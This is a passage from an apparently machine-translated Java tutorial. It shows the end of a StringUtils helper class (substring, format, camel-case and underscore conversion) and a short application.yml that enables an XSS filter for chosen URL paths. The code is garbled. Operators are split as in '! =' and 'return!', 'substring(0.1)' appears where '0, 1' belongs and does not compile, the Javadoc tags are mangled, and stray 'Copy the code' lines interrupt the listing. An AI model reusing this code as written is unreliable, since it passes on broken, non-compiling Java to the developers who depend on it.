     * @returnTrue: not empty false: empty */
    public static boolean isNotNull(Object object)
    {
        return! isNull(object); }/** ** Determines whether an object is an array type (an array in the Java basic) **@paramObject *@returnTrue: is an array false: is not an array */
    public static boolean isArray(Object object)
    {
        return isNotNull(object) && object.getClass().isArray();
    }

    /** * go to space */
    public static String trim(String str)
    {
        return (str == null ? "" : str.trim());
    }

    /** * intercepts the string **@paramSTR string *@paramStart to *@returnResults the * /
    public static String substring(final String str, int start)
    {
        if (str == null)
        {
            return NULLSTR;
        }

        if (start < 0)
        {
            start = str.length() + start;
        }

        if (start < 0)
        {
            start = 0;
        }
        if (start > str.length())
        {
            return NULLSTR;
        }

        return str.substring(start);
    }

    /** * intercepts the string **@paramSTR string *@paramStart to *@paramEnd to end *@returnResults the * /
    public static String substring(final String str, int start, int end)
    {
        if (str == null)
        {
            return NULLSTR;
        }

        if (end < 0)
        {
            end = str.length() + end;
        }
        if (start < 0)
        {
            start = str.length() + start;
        }

        if (end > str.length())
        {
            end = str.length();
        }

        if (start > end)
        {
            return NULLSTR;
        }

        if (start < 0)
        {
            start = 0;
        }
        if (end < 0)
        {
            end = 0;
        }

        return str.substring(start, end);
    }

    /** * format text, {} represents placeholders <br> * This method simply replaces placeholders {} with arguments in order <br> * If you want to print {}, use \\ escape {, if you want to print \ before {}, use double escape \\\\ <br> * Example: < br > * usually use: the format (" this is {} for {} ", "a", "b") - > this is a for b < br > * escape {} : The format (" this is \ \ {} for {} ", "a", "b") - > this is \ {} for a < br > * escape \ :  format("this is \\\\{} for {}", "a", "b") -> this is \a for b<br> * *@paramTemplate Text template, replaced with {} for *@paramParams Parameter value *@returnFormatted text */
    public static String format(String template, Object... params)
    {
        if (isEmpty(params) || isEmpty(template))
        {
            return template;
        }
        return StrFormatter.format(template, params);
    }

    /** ** underline the hump name */
    public static String toUnderScoreCase(String str)
    {
        if (str == null)
        {
            return null;
        }
        StringBuilder sb = new StringBuilder();
        // Whether the leading character is capitalized
        boolean preCharIsUpperCase = true;
        // Whether the current character is capitalized
        boolean curreCharIsUpperCase = true;
        // Whether the next character is capitalized
        boolean nexteCharIsUpperCase = true;
        for (int i = 0; i < str.length(); i++)
        {
            char c = str.charAt(i);
            if (i > 0)
            {
                preCharIsUpperCase = Character.isUpperCase(str.charAt(i - 1));
            }
            else
            {
                preCharIsUpperCase = false;
            }

            curreCharIsUpperCase = Character.isUpperCase(c);

            if (i < (str.length() - 1))
            {
                nexteCharIsUpperCase = Character.isUpperCase(str.charAt(i + 1));
            }

            if(preCharIsUpperCase && curreCharIsUpperCase && ! nexteCharIsUpperCase) { sb.append(SEPARATOR); }else if((i ! =0 && !preCharIsUpperCase) && curreCharIsUpperCase)
            {
                sb.append(SEPARATOR);
            }
            sb.append(Character.toLowerCase(c));
        }

        return sb.toString();
    }

    /** * whether to contain string **@paramSTR Validates the string *@paramSTRS String group *@returnContains returns true */
    public static boolean inStringIgnoreCase(String str, String... strs)
    {
        if(str ! =null&& strs ! =null)
        {
            for (String s : strs)
            {
                if (str.equalsIgnoreCase(trim(s)))
                {
                    return true; }}}return false;
    }

    /** * capitalizes the underlined string to hump. Returns an empty string if the uppercase underlined string before the conversion is empty. For example: HELLO_WORLD->HelloWorld * *@paramName Underscore before conversion Uppercase name string *@returnThe converted camel-named string */
    public static String convertToCamelCase(String name)
    {
        StringBuilder result = new StringBuilder();
        // Quick check
        if (name == null || name.isEmpty())
        {
            // There is no need to convert
            return "";
        }
        else if(! name.contains("_"))
        {
            // Uppercase only the first letter without underscore
            return name.substring(0.1).toUpperCase() + name.substring(1);
        }
        // Split the original string with an underscore
        String[] camels = name.split("_");
        for (String camel : camels)
        {
            // Skip the beginning, end, or double underline in the original string
            if (camel.isEmpty())
            {
                continue;
            }
            // Uppercase
            result.append(camel.substring(0.1).toUpperCase());
            result.append(camel.substring(1).toLowerCase());
        }
        return result.toString();
    }

    /** * Camel name for example: user_name->userName */
    public static String toCamelCase(String s)
    {
        if (s == null)
        {
            return null;
        }
        s = s.toLowerCase();
        StringBuilder sb = new StringBuilder(s.length());
        boolean upperCase = false;
        for (int i = 0; i < s.length(); i++)
        {
            char c = s.charAt(i);

            if (c == SEPARATOR)
            {
                upperCase = true;
            }
            else if (upperCase)
            {
                sb.append(Character.toUpperCase(c));
                upperCase = false;
            }
            else{ sb.append(c); }}return sb.toString();
    }

    @SuppressWarnings("unchecked")
    public static <T> T cast(Object obj)
    {
        return(T) obj; }}Copy the code

appliction.yml

Enable filtering, specify the interface filter and specify the interface not filter

# Prevent XSS attacks
xss:
  # Filter switch
  enabled: true
  # Exclude links (multiple separated by commas)
  excludes: /system/notice/*
  # match link
  urlPatterns: /user/*,/user/save
Copy the code